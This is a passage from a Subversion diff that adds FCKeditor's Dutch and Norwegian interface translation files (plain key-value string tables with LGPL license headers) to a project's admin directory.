+DlgButtonTypeRst	: "Reset",	//MISSING
+
+// Checkbox and Radio Button Dialogs
+DlgCheckboxName		: "Navn",
+DlgCheckboxValue	: "Verdi",
+DlgCheckboxSelected	: "Valgt",
+
+// Form Dialog
+DlgFormName		: "Navn",
+DlgFormAction	: "Handling",
+DlgFormMethod	: "Metode",
+
+// Select Field Dialog
+DlgSelectName		: "Navn",
+DlgSelectValue		: "Verdi",
+DlgSelectSize		: "Størrelse",
+DlgSelectLines		: "Linjer",
+DlgSelectChkMulti	: "Tillat flervalg",
+DlgSelectOpAvail	: "Tilgjenglige alternativer",
+DlgSelectOpText		: "Tekst",
+DlgSelectOpValue	: "Verdi",
+DlgSelectBtnAdd		: "Legg til",
+DlgSelectBtnModify	: "Endre",
+DlgSelectBtnUp		: "Opp",
+DlgSelectBtnDown	: "Ned",
+DlgSelectBtnSetValue : "Sett som valgt",
+DlgSelectBtnDelete	: "Slett",
+
+// Textarea Dialog
+DlgTextareaName	: "Navn",
+DlgTextareaCols	: "Kolonner",
+DlgTextareaRows	: "Rader",
+
+// Text Field Dialog
+DlgTextName			: "Navn",
+DlgTextValue		: "verdi",
+DlgTextCharWidth	: "Tegnbredde",
+DlgTextMaxChars		: "Maks antall tegn",
+DlgTextType			: "Type",
+DlgTextTypeText		: "Tekst",
+DlgTextTypePass		: "Passord",
+
+// Hidden Field Dialog
+DlgHiddenName	: "Navn",
+DlgHiddenValue	: "Verdi",
+
+// Bulleted List Dialog
+BulletedListProp	: "Uordnet listeegenskaper",
+NumberedListProp	: "Ordnet listeegenskaper",
+DlgLstStart			: "Start",	//MISSING
+DlgLstType			: "Type",
+DlgLstTypeCircle	: "Sirkel",
+DlgLstTypeDisc		: "Hel sirkel",
+DlgLstTypeSquare	: "Firkant",
+DlgLstTypeNumbers	: "Numre(1, 2, 3)",
+DlgLstTypeLCase		: "Små bokstaver (a, b, c)",
+DlgLstTypeUCase		: "Store bokstaver(A, B, C)",
+DlgLstTypeSRoman	: "Små romerske tall(i, ii, iii)",
+DlgLstTypeLRoman	: "Store romerske tall(I, II, III)",
+
+// Document Properties Dialog
+DlgDocGeneralTab	: "Generalt",
+DlgDocBackTab		: "Bakgrunn",
+DlgDocColorsTab		: "Farger og marginer",
+DlgDocMetaTab		: "Meta Data",
+
+DlgDocPageTitle		: "Sidetittel",
+DlgDocLangDir		: "Språkretning",
+DlgDocLangDirLTR	: "Venstre til høyre (LTR)",
+DlgDocLangDirRTL	: "Høyre til venstre (RTL)",
+DlgDocLangCode		: "Språkkode",
+DlgDocCharSet		: "Tegnsett",
+DlgDocCharSetCE		: "Central European",	//MISSING
+DlgDocCharSetCT		: "Chinese Traditional (Big5)",	//MISSING
+DlgDocCharSetCR		: "Cyrillic",	//MISSING
+DlgDocCharSetGR		: "Greek",	//MISSING
+DlgDocCharSetJP		: "Japanese",	//MISSING
+DlgDocCharSetKR		: "Korean",	//MISSING
+DlgDocCharSetTR		: "Turkish",	//MISSING
+DlgDocCharSetUN		: "Unicode (UTF-8)",	//MISSING
+DlgDocCharSetWE		: "Western European",	//MISSING
+DlgDocCharSetOther	: "Annet tegnsett",
+
+DlgDocDocType		: "Dokumenttype header",
+DlgDocDocTypeOther	: "Annet dokumenttype header",
+DlgDocIncXHTML		: "Inkulder XHTML deklarasjon",
+DlgDocBgColor		: "Bakgrunnsfarge",
+DlgDocBgImage		: "Bakgrunnsbilde url",
+DlgDocBgNoScroll	: "Ikke scroll bakgrunnsbilde",
+DlgDocCText			: "Tekst",
+DlgDocCLink			: "Link",
+DlgDocCVisited		: "Besøkt lenke",
+DlgDocCActive		: "Aktiv lenke",
+DlgDocMargins		: "Sidemargin",
+DlgDocMaTop			: "Topp",
+DlgDocMaLeft		: "Venstre",
+DlgDocMaRight		: "Høyre",
+DlgDocMaBottom		: "Bunn",
+DlgDocMeIndex		: "Dokument nøkkelord (kommaseparert)",
+DlgDocMeDescr		: "Dokumentbeskrivelse",
+DlgDocMeAuthor		: "Forfatter",
+DlgDocMeCopy		: "Kopirett",
+DlgDocPreview		: "Forhåndsvising",
+
+// Templates Dialog
+Templates			: "Maler",
+DlgTemplatesTitle	: "Innholdsmaler",
+DlgTemplatesSelMsg	: "Velg malen du vil åpne<br>(innholdet du har skrevet blir tapt!):",
+DlgTemplatesLoading	: "Laster malliste. Vennligst vent...",
+DlgTemplatesNoTpl	: "(Ingen maler definert)",
+DlgTemplatesReplace	: "Replace actual contents",	//MISSING
+
+// About Dialog
+DlgAboutAboutTab	: "Om",
+DlgAboutBrowserInfoTab	: "Nettleserinfo",
+DlgAboutLicenseTab	: "Lisens",
+DlgAboutVersion		: "versjon",
+DlgAboutLicense		: "Lisensiert under GNU Lesser General Public License",
+DlgAboutInfo		: "Oversatt av Siteman AS<br /><a target=\"_blank\" href=\"http://www.siteman.no\">www.siteman.no</a><br /><br />For mer informasjon gå til"
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/nl.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/nl.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/nl.js	(revision 44)
@@ -0,0 +1,502 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: nl.js
+ * 	Dutch language file.
+ * 
+ * File Authors:
+ * 		Bram Crins (bcrins@realdesign.nl)
+ * 		Aaron van Geffen (aaron@aaronweb.net)
+ */
+
+var FCKLang =
+{
+// Language direction : "ltr" (left to right) or "rtl" (right to left).
+Dir					: "ltr",
+
+ToolbarCollapse		: "Menubalk inklappen",
+ToolbarExpand		: "Menubalk uitklappen",
+
+// Toolbar Items and Context Menu
+Save				: "Opslaan",
+NewPage				: "Nieuwe pagina",
+Preview				: "Voorbeeld",
+Cut					: "Knippen",
+Copy				: "Kopiëren",
+Paste				: "Plakken",
+PasteText			: "Plakken als platte tekst",
+PasteWord			: "Plakken als Word-gegevens",
+Print				: "Printen",
+SelectAll			: "Alles selecteren",
+RemoveFormat		: "Opmaak verwijderen",
+InsertLinkLbl		: "Link",
+InsertLink			: "Invoegen/Wijzigen link",
+RemoveLink			: "Verwijderen link",
+Anchor				: "Interne link",
+InsertImageLbl		: "Afbeelding",
+InsertImage			: "Invoegen/Wijzigen afbeelding",
+InsertFlashLbl		: "Flash",
+InsertFlash			: "Invoegen/Wijzigen Flash",
+InsertTableLbl		: "Tabel",
+InsertTable			: "Invoegen/Wijzigen tabel",
+InsertLineLbl		: "Lijn",
+InsertLine			: "Invoegen horizontale lijn",
+InsertSpecialCharLbl: "Speciale tekens",
+InsertSpecialChar	: "Speciaal teken invoegen",
+InsertSmileyLbl		: "Smiley",
+InsertSmiley		: "Smiley invoegen",
+About				: "Over FCKeditor",
+Bold				: "Vet",
+Italic				: "Schuingedrukt",
+Underline			: "Onderstreept",
+StrikeThrough		: "Doorhalen",
+Subscript			: "Subscript",
+Superscript			: "Superscript",
+LeftJustify			: "Links uitlijnen",
+CenterJustify		: "Centreren",
+RightJustify		: "Rechts uitlijnen",
+BlockJustify		: "Uitvullen",
+DecreaseIndent		: "Oplopenend",
+IncreaseIndent		: "Aflopend",
+Undo				: "Ongedaan maken",
+Redo				: "Opnieuw",
+NumberedListLbl		: "Genummerde lijst",
+NumberedList		: "Invoegen/Verwijderen genummerde lijst",
+BulletedListLbl		: "Opsomming",
+BulletedList		: "Invoegen/Verwijderen opsomming",
+ShowTableBorders	: "Randen tabel weergeven",
+ShowDetails			: "Details weergeven",
+Style				: "Stijl",
+FontFormat			: "Opmaak",
+Font				: "Lettertype",
+FontSize			: "Grootte",
+TextColor			: "Tekstkleur",
+BGColor				: "Achtergrondkleur",
+Source				: "Code",
+Find				: "Zoeken",
+Replace				: "Vervangen",
+SpellCheck			: "Spellingscontrole",
+UniversalKeyboard	: "Universeel toetsenbord",
+PageBreakLbl		: "Pagina-einde",
+PageBreak			: "Pagina-einde invoegen",
+
+Form			: "Formulier",
+Checkbox		: "Aanvinkvakje",
+RadioButton		: "Selectievakje",
+TextField		: "Tekstveld",
+Textarea		: "Tekstvak",
+HiddenField		: "Verborgen veld",
+Button			: "Knop",
+SelectionField	: "Selectieveld",
+ImageButton		: "Afbeeldingsknop",
+
+FitWindow		: "De editor maximaliseren",
+
+// Context Menu
+EditLink			: "Link wijzigen",
+CellCM				: "Cel",
+RowCM				: "Rij",
+ColumnCM			: "Kolom",
+InsertRow			: "Rij invoegen",
+DeleteRows			: "Rijen verwijderen",
+InsertColumn		: "Kolom invoegen",
+DeleteColumns		: "Kolommen verwijderen",
+InsertCell			: "Cel",
+DeleteCells			: "Cellen verwijderen",
+MergeCells			: "Cellen samenvoegen",
+SplitCell			: "Cellen splitsen",
+TableDelete			: "Tabel verwijderen",
+CellProperties		: "Eigenschappen cel",
+TableProperties		: "Eigenschappen tabel",
+ImageProperties		: "Eigenschappen afbeelding",
+FlashProperties		: "Eigenschappen Flash",
+
+AnchorProp			: "Eigenschappen interne link",
+ButtonProp			: "Eigenschappen knop",
+CheckboxProp		: "Eigenschappen aanvinkvakje",
+HiddenFieldProp		: "Eigenschappen verborgen veld",
+RadioButtonProp		: "Eigenschappen selectievakje",
+ImageButtonProp		: "Eigenschappen afbeeldingsknop",
+TextFieldProp		: "Eigenschappen tekstveld",
+SelectionFieldProp	: "Eigenschappen selectieveld",
+TextareaProp		: "Eigenschappen tekstvak",
+FormProp			: "Eigenschappen formulier",
+
+FontFormats			: "Normaal;Met opmaak;Adres;Kop 1;Kop 2;Kop 3;Kop 4;Kop 5;Kop 6;Normaal (DIV)",
+
+// Alerts and Messages
+ProcessingXHTML		: "Verwerken XHTML. Even geduld aub...",
+Done				: "Klaar",
+PasteWordConfirm	: "De tekst die je plakte lijkt gekopieerd uit te zijn Word. Wil je de tekst opschonen voordat deze geplakt wordt?",
+NotCompatiblePaste	: "Deze opdracht is beschikbaar voor Internet Explorer versie 5.5 of hoger. Wil je plakken zonder op te schonen?",
+UnknownToolbarItem	: "Onbekend item op menubalk \"%1\"",
+UnknownCommand		: "Onbekende opdrachtnaam: \"%1\"",
+NotImplemented		: "Opdracht niet geïmplementeerd.",
+UnknownToolbarSet	: "Menubalk \"%1\" bestaat niet.",
+NoActiveX			: "De beveilingsinstellingen van je browser zouden sommige functies van de editor kunnen beperken. De optie \"Activeer ActiveX-elementen en plug-ins\" dient ingeschakeld te worden. Het kan zijn dat er nu functies ontbreken of niet werken.",
+BrowseServerBlocked : "De bestandsbrowser kon niet geopend worden. Zorg ervoor dat pop-up-blokkeerders uit staan.",
+DialogBlocked		: "Kan het dialoogvenster niet weergeven. Zorg ervoor dat pop-up-blokkeerders uit staan.",
+
+// Dialogs
+DlgBtnOK			: "OK",
+DlgBtnCancel		: "Annuleren",
+DlgBtnClose			: "Afsluiten",
+DlgBtnBrowseServer	: "Bladeren op server",
+DlgAdvancedTag		: "Geavanceerd",
+DlgOpOther			: "<Anders>",
+DlgInfoTab			: "Informatie",
+DlgAlertUrl			: "Geef URL op",
+
+// General Dialogs Labels
+DlgGenNotSet		: "<niet ingevuld>",
+DlgGenId			: "Kenmerk",
+DlgGenLangDir		: "Schrijfrichting",
+DlgGenLangDirLtr	: "Links naar rechts (LTR)",
+DlgGenLangDirRtl	: "Rechts naar links (RTL)",
+DlgGenLangCode		: "Codetaal",
+DlgGenAccessKey		: "Toegangstoets",
+DlgGenName			: "Naam",
+DlgGenTabIndex		: "Tabvolgorde",
+DlgGenLongDescr		: "Lange URL-omschrijving",
+DlgGenClass			: "Stylesheet-klassen",
+DlgGenTitle			: "Aanbevolen titel",
+DlgGenContType		: "Aanbevolen content-type",
+DlgGenLinkCharset	: "Karakterset van gelinkte bron",
+DlgGenStyle			: "Stijl",
+
+// Image Dialog
+DlgImgTitle			: "Eigenschappen afbeelding",
+DlgImgInfoTab		: "Informatie afbeelding",
+DlgImgBtnUpload		: "Naar server verzenden",
+DlgImgURL			: "URL",
+DlgImgUpload		: "Upload",
+DlgImgAlt			: "Alternatieve tekst",
+DlgImgWidth			: "Breedte",
+DlgImgHeight		: "Hoogte",
+DlgImgLockRatio		: "Afmetingen vergrendelen",
+DlgBtnResetSize		: "Afmetingen resetten",
+DlgImgBorder		: "Rand",
+DlgImgHSpace		: "HSpace",
+DlgImgVSpace		: "VSpace",
+DlgImgAlign			: "Uitlijning",
+DlgImgAlignLeft		: "Links",
+DlgImgAlignAbsBottom: "Absoluut-onder",
+DlgImgAlignAbsMiddle: "Absoluut-midden",
+DlgImgAlignBaseline	: "Basislijn",
+DlgImgAlignBottom	: "Beneden",
+DlgImgAlignMiddle	: "Midden",
+DlgImgAlignRight	: "Rechts",
+DlgImgAlignTextTop	: "Boven tekst",
+DlgImgAlignTop		: "Boven",
+DlgImgPreview		: "Voorbeeld",
+DlgImgAlertUrl		: "Geef de URL van de afbeelding",
+DlgImgLinkTab		: "Link",
+
+// Flash Dialog
+DlgFlashTitle		: "Eigenschappen Flash",
+DlgFlashChkPlay		: "Automatisch afspelen",
+DlgFlashChkLoop		: "Herhalen",
+DlgFlashChkMenu		: "Flashmenu\'s inschakelen",
+DlgFlashScale		: "Schaal",
+DlgFlashScaleAll	: "Alles tonen",
+DlgFlashScaleNoBorder	: "Geen rand",
+DlgFlashScaleFit	: "Precies passend",
+
+// Link Dialog
+DlgLnkWindowTitle	: "Link",
+DlgLnkInfoTab		: "Linkomschrijving",
+DlgLnkTargetTab		: "Doel",
+
+DlgLnkType			: "Linktype",
+DlgLnkTypeURL		: "URL",
+DlgLnkTypeAnchor	: "Interne link in pagina",
+DlgLnkTypeEMail		: "E-mail",
+DlgLnkProto			: "Protocol",
+DlgLnkProtoOther	: "<anders>",
+DlgLnkURL			: "URL",
+DlgLnkAnchorSel		: "Kies een interne link",
+DlgLnkAnchorByName	: "Op naam interne link",
+DlgLnkAnchorById	: "Op kenmerk interne link",
+DlgLnkNoAnchors		: "<Geen interne links in document gevonden.>",
+DlgLnkEMail			: "E-mailadres",
+DlgLnkEMailSubject	: "Onderwerp bericht",
+DlgLnkEMailBody		: "Inhoud bericht",
+DlgLnkUpload		: "Upload",
+DlgLnkBtnUpload		: "Naar de server versturen",
+
+DlgLnkTarget		: "Doel",
+DlgLnkTargetFrame	: "<frame>",
+DlgLnkTargetPopup	: "<popup window>",
+DlgLnkTargetBlank	: "Nieuw venster (_blank)",
+DlgLnkTargetParent	: "Origineel venster (_parent)",
+DlgLnkTargetSelf	: "Zelfde venster (_self)",
+DlgLnkTargetTop		: "Hele venster (_top)",
+DlgLnkTargetFrameName	: "Naam doelframe",
+DlgLnkPopWinName	: "Naam popupvenster",
+DlgLnkPopWinFeat	: "Instellingen popupvenster",
+DlgLnkPopResize		: "Grootte wijzigen",
+DlgLnkPopLocation	: "Locatiemenu",
+DlgLnkPopMenu		: "Menubalk",
+DlgLnkPopScroll		: "Schuifbalken",
+DlgLnkPopStatus		: "Statusbalk",
+DlgLnkPopToolbar	: "Menubalk",
+DlgLnkPopFullScrn	: "Volledig scherm (IE)",
+DlgLnkPopDependent	: "Afhankelijk (Netscape)",
+DlgLnkPopWidth		: "Breedte",
+DlgLnkPopHeight		: "Hoogte",
+DlgLnkPopLeft		: "Positie links",
+DlgLnkPopTop		: "Positie boven",
+
+DlnLnkMsgNoUrl		: "Geef de link van de URL",
+DlnLnkMsgNoEMail	: "Geef een e-mailadres",
+DlnLnkMsgNoAnchor	: "Selecteer een interne link",
+DlnLnkMsgInvPopName	: "De naam van de popup moet met een alfa-numerieke waarde beginnen, en mag geen spaties bevatten.",
+
+// Color Dialog
+DlgColorTitle		: "Selecteer kleur",
+DlgColorBtnClear	: "Opschonen",
+DlgColorHighlight	: "Accentueren",
+DlgColorSelected	: "Geselecteerd",
+
+// Smiley Dialog
+DlgSmileyTitle		: "Smiley invoegen",
+
+// Special Character Dialog
+DlgSpecialCharTitle	: "Selecteer speciaal teken",
+
+// Table Dialog
+DlgTableTitle		: "Eigenschappen tabel",
+DlgTableRows		: "Rijen",
+DlgTableColumns		: "Kolommen",
+DlgTableBorder		: "Breedte rand",
+DlgTableAlign		: "Uitlijning",
+DlgTableAlignNotSet	: "<Niet ingevoerd>",
+DlgTableAlignLeft	: "Links",
+DlgTableAlignCenter	: "Centreren",
+DlgTableAlignRight	: "Rechts",
+DlgTableWidth		: "Breedte",
+DlgTableWidthPx		: "pixels",
+DlgTableWidthPc		: "procent",
+DlgTableHeight		: "Hoogte",
+DlgTableCellSpace	: "Afstand tussen cellen",
+DlgTableCellPad		: "Afstand vanaf rand cel",
+DlgTableCaption		: "Naam",
+DlgTableSummary		: "Samenvatting",
+
+// Table Cell Dialog
+DlgCellTitle		: "Eigenschappen cel",
+DlgCellWidth		: "Breedte",
+DlgCellWidthPx		: "pixels",
+DlgCellWidthPc		: "procent",
+DlgCellHeight		: "Hoogte",
+DlgCellWordWrap		: "Afbreken woorden",
+DlgCellWordWrapNotSet	: "<Niet ingevoerd>",
+DlgCellWordWrapYes	: "Ja",
+DlgCellWordWrapNo	: "Nee",
+DlgCellHorAlign		: "Horizontale uitlijning",
+DlgCellHorAlignNotSet	: "<Niet ingevoerd>",
+DlgCellHorAlignLeft	: "Links",
+DlgCellHorAlignCenter	: "Centreren",
+DlgCellHorAlignRight: "Rechts",
+DlgCellVerAlign		: "Verticale uitlijning",
+DlgCellVerAlignNotSet	: "<Niet ingevoerd>",
+DlgCellVerAlignTop	: "Boven",
+DlgCellVerAlignMiddle	: "Midden",
+DlgCellVerAlignBottom	: "Beneden",
+DlgCellVerAlignBaseline	: "Basislijn",
+DlgCellRowSpan		: "Overkoepeling rijen",
+DlgCellCollSpan		: "Overkoepeling kolommen",
+DlgCellBackColor	: "Achtergrondkleur",
+DlgCellBorderColor	: "Randkleur",
+DlgCellBtnSelect	: "Selecteren...",
+
+// Find Dialog
+DlgFindTitle		: "Zoeken",
+DlgFindFindBtn		: "Zoeken",
+DlgFindNotFoundMsg	: "De opgegeven tekst is niet gevonden.",
+
+// Replace Dialog
+DlgReplaceTitle			: "Vervangen",
+DlgReplaceFindLbl		: "Zoeken naar:",
+DlgReplaceReplaceLbl	: "Vervangen met:",
+DlgReplaceCaseChk		: "Hoofdlettergevoelig",
+DlgReplaceReplaceBtn	: "Vervangen",
+DlgReplaceReplAllBtn	: "Alles vervangen",
+DlgReplaceWordChk		: "Hele woord moet voorkomen",
+
+// Paste Operations / Dialog
+PasteErrorPaste	: "De beveiligingsinstelling van de browser verhinderen het automatisch plakken. Gebruik de sneltoets Ctrl+V van het toetsenbord.",
+PasteErrorCut	: "De beveiligingsinstelling van de browser verhinderen het automatisch knippen. Gebruik de sneltoets Ctrl+X van het toetsenbord.",
+PasteErrorCopy	: "De beveiligingsinstelling van de browser verhinderen het automatisch kopiëren. Gebruik de sneltoets Ctrl+C van het toetsenbord.",
+
+PasteAsText		: "Plakken als platte tekst",
+PasteFromWord	: "Plakken als Word-gegevens",
+
+DlgPasteMsg2	: "Plak de tekst in het volgende vak gebruik makend van je toetstenbord (<STRONG>Ctrl+V</STRONG>) en klik op <STRONG>OK</STRONG>.",
+DlgPasteIgnoreFont		: "Negeer \"Font Face\"-definities",
+DlgPasteRemoveStyles	: "Verwijder \"Style\"-definities",
+DlgPasteCleanBox		: "Vak opschonen",
+
+// Color Picker
+ColorAutomatic	: "Automatisch",
+ColorMoreColors	: "Meer kleuren...",
+
+// Document Properties
+DocProps		: "Eigenschappen document",
+
+// Anchor Dialog
+DlgAnchorTitle		: "Eigenschappen interne link",
+DlgAnchorName		: "Naam interne link",
+DlgAnchorErrorName	: "Geef de naam van de interne link op",
+
+// Speller Pages Dialog
+DlgSpellNotInDic		: "Niet in het woordenboek",
+DlgSpellChangeTo		: "Wijzig in",
+DlgSpellBtnIgnore		: "Negeren",
+DlgSpellBtnIgnoreAll	: "Alles negeren",
+DlgSpellBtnReplace		: "Vervangen",
+DlgSpellBtnReplaceAll	: "Alles vervangen",
+DlgSpellBtnUndo			: "Ongedaan maken",
+DlgSpellNoSuggestions	: "-Geen suggesties-",
+DlgSpellProgress		: "Bezig met spellingscontrole...",
+DlgSpellNoMispell		: "Klaar met spellingscontrole: geen fouten gevonden",
+DlgSpellNoChanges		: "Klaar met spellingscontrole: geen woorden aangepast",
+DlgSpellOneChange		: "Klaar met spellingscontrole: één woord aangepast",
+DlgSpellManyChanges		: "Klaar met spellingscontrole: %1 woorden aangepast",
+
+IeSpellDownload			: "De spellingscontrole niet geïnstalleerd. Wil je deze nu downloaden?",
+
+// Button Dialog
+DlgButtonText		: "Tekst (waarde)",
+DlgButtonType		: "Soort",
+DlgButtonTypeBtn	: "Knop",
+DlgButtonTypeSbm	: "Versturen",
+DlgButtonTypeRst	: "Leegmaken",
+
+// Checkbox and Radio Button Dialogs
+DlgCheckboxName		: "Naam",
+DlgCheckboxValue	: "Waarde",
+DlgCheckboxSelected	: "Geselecteerd",
+
+// Form Dialog
+DlgFormName		: "Naam",
+DlgFormAction	: "Actie",
+DlgFormMethod	: "Methode",
+
+// Select Field Dialog
+DlgSelectName		: "Naam",
+DlgSelectValue		: "Waarde",
+DlgSelectSize		: "Grootte",
+DlgSelectLines		: "Regels",
+DlgSelectChkMulti	: "Gecombineerde selecties toestaan",
+DlgSelectOpAvail	: "Beschikbare opties",
+DlgSelectOpText		: "Tekst",
+DlgSelectOpValue	: "Waarde",
+DlgSelectBtnAdd		: "Toevoegen",
+DlgSelectBtnModify	: "Wijzigen",
+DlgSelectBtnUp		: "Omhoog",
+DlgSelectBtnDown	: "Omlaag",
+DlgSelectBtnSetValue : "Als geselecteerde waarde instellen",
+DlgSelectBtnDelete	: "Verwijderen",
+
+// Textarea Dialog
+DlgTextareaName	: "Naam",
+DlgTextareaCols	: "Kolommen",
+DlgTextareaRows	: "Rijen",
+
+// Text Field Dialog
+DlgTextName			: "Naam",
+DlgTextValue		: "Waarde",
+DlgTextCharWidth	: "Breedte (tekens)",
+DlgTextMaxChars		: "Maximum aantal tekens",
+DlgTextType			: "Soort",
+DlgTextTypeText		: "Tekst",
+DlgTextTypePass		: "Wachtwoord",
+
+// Hidden Field Dialog
+DlgHiddenName	: "Naam",
+DlgHiddenValue	: "Waarde",
+
+// Bulleted List Dialog
+BulletedListProp	: "Eigenschappen opsommingslijst",
+NumberedListProp	: "Eigenschappen genummerde opsommingslijst",
+DlgLstStart			: "Start",
+DlgLstType			: "Soort",
+DlgLstTypeCircle	: "Cirkel",
+DlgLstTypeDisc		: "Schijf",
+DlgLstTypeSquare	: "Vierkant",
+DlgLstTypeNumbers	: "Nummers (1, 2, 3)",
+DlgLstTypeLCase		: "Kleine letters (a, b, c)",
+DlgLstTypeUCase		: "Hoofdletters (A, B, C)",
+DlgLstTypeSRoman	: "Klein Romeins (i, ii, iii)",
+DlgLstTypeLRoman	: "Groot Romeins (I, II, III)",
+
+// Document Properties Dialog
+DlgDocGeneralTab	: "Algemeen",
+DlgDocBackTab		: "Achtergrond",
+DlgDocColorsTab		: "Kleuring en marges",
+DlgDocMetaTab		: "META-data",
+
+DlgDocPageTitle		: "Paginatitel",
+DlgDocLangDir		: "Schrijfrichting",
+DlgDocLangDirLTR	: "Links naar rechts",
+DlgDocLangDirRTL	: "Rechts naar links",
+DlgDocLangCode		: "Taalcode",
+DlgDocCharSet		: "Karakterset-encoding",
+DlgDocCharSetCE		: "Centraal Europees",
+DlgDocCharSetCT		: "Traditioneel Chinees (Big5)",
+DlgDocCharSetCR		: "Cyriliaans",
+DlgDocCharSetGR		: "Grieks",
+DlgDocCharSetJP		: "Japans",
+DlgDocCharSetKR		: "Koreaans",
+DlgDocCharSetTR		: "Turks",
+DlgDocCharSetUN		: "Unicode (UTF-8)",
+DlgDocCharSetWE		: "West europees",
+DlgDocCharSetOther	: "Andere karakterset-encoding",
+
+DlgDocDocType		: "Opschrift documentsoort",
+DlgDocDocTypeOther	: "Ander opschrift documentsoort",
+DlgDocIncXHTML		: "XHTML-declaraties meenemen",
+DlgDocBgColor		: "Achtergrondkleur",
+DlgDocBgImage		: "URL achtergrondplaatje",
+DlgDocBgNoScroll	: "Vaste achtergrond",
+DlgDocCText			: "Tekst",
+DlgDocCLink			: "Link",
+DlgDocCVisited		: "Bezochte link",
+DlgDocCActive		: "Active link",
+DlgDocMargins		: "Afstandsinstellingen document",
+DlgDocMaTop			: "Boven",
+DlgDocMaLeft		: "Links",
+DlgDocMaRight		: "Rechts",
+DlgDocMaBottom		: "Onder",
+DlgDocMeIndex		: "Trefwoorden betreffende document (kommagescheiden)",
+DlgDocMeDescr		: "Beschrijving document",
+DlgDocMeAuthor		: "Auteur",
+DlgDocMeCopy		: "Copyright",
+DlgDocPreview		: "Voorbeeld",
+
+// Templates Dialog
+Templates			: "Sjablonen",
+DlgTemplatesTitle	: "Inhoud sjabonen",
+DlgTemplatesSelMsg	: "Selecteer het sjabloon dat in de editor geopend moet worden (de actuele inhoud gaat verloren):",
+DlgTemplatesLoading	: "Bezig met laden sjabonen. Even geduld alstublieft...",
+DlgTemplatesNoTpl	: "(Geen sjablonen gedefinieerd)",
+DlgTemplatesReplace	: "Vervang de huidige inhoud",
+
+// About Dialog
+DlgAboutAboutTab	: "Over",
+DlgAboutBrowserInfoTab	: "Browserinformatie",
+DlgAboutLicenseTab	: "Licentie",
+DlgAboutVersion		: "Versie",
+DlgAboutLicense		: "Gelicenceerd onder de condities van het GNU Lesser General Public License",
+DlgAboutInfo		: "Voor meer informatie ga naar "
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/no.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/no.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/no.js	(revision 44)
@@ -0,0 +1,501 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: no.js
+ * 	Norwegian language file.
+ * 
+ * File Authors:
+ * 		Martin Kronstad (www.siteman.no) (martin.kronstad@gmail.com)
+ */
+
+var FCKLang =
+{
+// Language direction : "ltr" (left to right) or "rtl" (right to left).
+Dir					: "ltr",
+
+ToolbarCollapse		: "Skjul verktøylinje",
+ToolbarExpand		: "Vis verktøylinje",
+
+// Toolbar Items and Context Menu
+Save				: "Lagre",
+NewPage				: "Ny Side",
+Preview				: "Forhåndsvis",
+Cut					: "Klipp ut",
+Copy				: "Kopier",
+Paste				: "Lim inn",
+PasteText			: "Lim inn som ren tekst",
+PasteWord			: "Lim inn fra Word",
+Print				: "Skriv ut",
+SelectAll			: "Velg alle",
+RemoveFormat		: "Fjern format",
+InsertLinkLbl		: "Lenke",
+InsertLink			: "Sett inn/Rediger lenke",
+RemoveLink			: "Fjern lenke",
+Anchor				: "Sett inn/Rediger anker",
+InsertImageLbl		: "Bilde",
+InsertImage			: "Sett inn/Rediger bilde",
+InsertFlashLbl		: "Flash",
+InsertFlash			: "Sett inn/Rediger Flash",
+InsertTableLbl		: "Tabell",
+InsertTable			: "Sett inn/Rediger tabell",
+InsertLineLbl		: "Linje",
+InsertLine			: "Sett inn horisontal linje",
+InsertSpecialCharLbl: "Spesielt tegn",
+InsertSpecialChar	: "Sett inn spesielt tegn",
+InsertSmileyLbl		: "Smil",
+InsertSmiley		: "Sett inn smil",
+About				: "Om FCKeditor",
+Bold				: "Fet",
+Italic				: "Kursiv",
+Underline			: "Understrek",
+StrikeThrough		: "Gjennomstrek",
+Subscript			: "Senket skrift",
+Superscript			: "Hevet skrift",
+LeftJustify			: "Venstrejuster",
+CenterJustify		: "Midtjuster",
+RightJustify		: "Høyrejuster",
+BlockJustify		: "Blokkjuster",
+DecreaseIndent		: "Senk nivå",
+IncreaseIndent		: "Øk nivå",
+Undo				: "Angre",
+Redo				: "Gjør om",
+NumberedListLbl		: "Numrert liste",
+NumberedList		: "Sett inn/Fjern numrert liste",
+BulletedListLbl		: "Uordnet liste",
+BulletedList		: "Sett inn/Fjern uordnet liste",
+ShowTableBorders	: "Vis tabellrammer",
+ShowDetails			: "Vis detaljer",
+Style				: "Stil",
+FontFormat			: "Format",
+Font				: "Skrift",
+FontSize			: "Størrelse",
+TextColor			: "Tekstfarge",
+BGColor				: "Bakgrunnsfarge",
+Source				: "Kilde",
+Find				: "Finn",
+Replace				: "Erstatt",
+SpellCheck			: "Stavekontroll",
+UniversalKeyboard	: "Universelt tastatur",
+PageBreakLbl		: "Sideskift",
+PageBreak			: "Sett inn sideskift",
+
+Form			: "Skjema",
+Checkbox		: "Sjekkboks",
+RadioButton		: "Radioknapp",
+TextField		: "Tekstfelt",
+Textarea		: "Tekstområde",
+HiddenField		: "Skjult felt",
+Button			: "Knapp",
+SelectionField	: "Dropdown meny",
+ImageButton		: "Bildeknapp",
+
+FitWindow		: "Maksimer størrelsen på redigeringsverktøyet",
+
+// Context Menu
+EditLink			: "Rediger lenke",
+CellCM				: "Celle",
+RowCM				: "Rader",
+ColumnCM			: "Kolonne",
+InsertRow			: "Sett inn rad",
+DeleteRows			: "Slett rader",
+InsertColumn		: "Sett inn kolonne",
+DeleteColumns		: "Slett kolonner",
+InsertCell			: "Sett inn celle",
+DeleteCells			: "Slett celler",
